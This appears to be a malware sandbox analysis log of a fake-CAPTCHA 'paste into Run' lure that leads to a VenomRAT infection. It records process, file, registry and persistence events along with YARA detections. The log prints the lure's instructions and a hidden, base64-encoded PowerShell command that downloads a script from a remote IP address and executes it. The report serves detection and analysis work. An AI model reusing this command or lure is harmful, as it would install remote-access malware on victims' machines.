Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devenum.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msdmo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mmdevapi.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Data Obfuscation

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline"

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 1.20	OCR Text: Robot or human? Check the box to confirm that you're human. Thank you! I'm not a robot reCAPTCHA Aril.'"' Terms Verification Steps 1. Press Windows Button 2 Press CTRL + V 3. Press Enter
Source: Chrome DOM: 1.11	OCR Text: Robot or human? Check the box to confirm that you're human. Thank youl I'm not a robot Terms Verification Steps 1 Press Windows Button 2 Press CTRL + V 3. Press Enter
Source: screenshot	OCR Text: x e about:blank X e Backing.cam - Partner Hub X roamsvisitors82831 .wo rld Robot or human? Check the box to confirm that you're human. Thank you! I'm not a robot reCAPTCl-4, Privacy Terms Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter x Run Type the name of a program, folder, document or Internet resource, and Windows will open It for you. Open: 19:27 ENG p Type here to search SG 30/12/2024
Source: screenshot	OCR Text: x e about:blank X Booking.cam - Partner Hub X roamsvisitors82831 .wo rld Robot or human? Check the box to confirm that you're human. Thank you! I'm not a robot reCAPTCl-4, Privacy Terms Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter 19:26 ENG p Type here to search SG 30/12/2024
Source: screenshot	OCR Text: x e about:blank x Backing.cam - Partner Hub X roamsvisitors82831 .wo rld Robot or human? Check the box to confirm that you're human. Thank you! I'm not a robot reCAPTCl-4, Privacy Terms Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter Start 19:26 ENG p Type here to search SG 30/12/2024

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\40kpnqa1.dll

Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
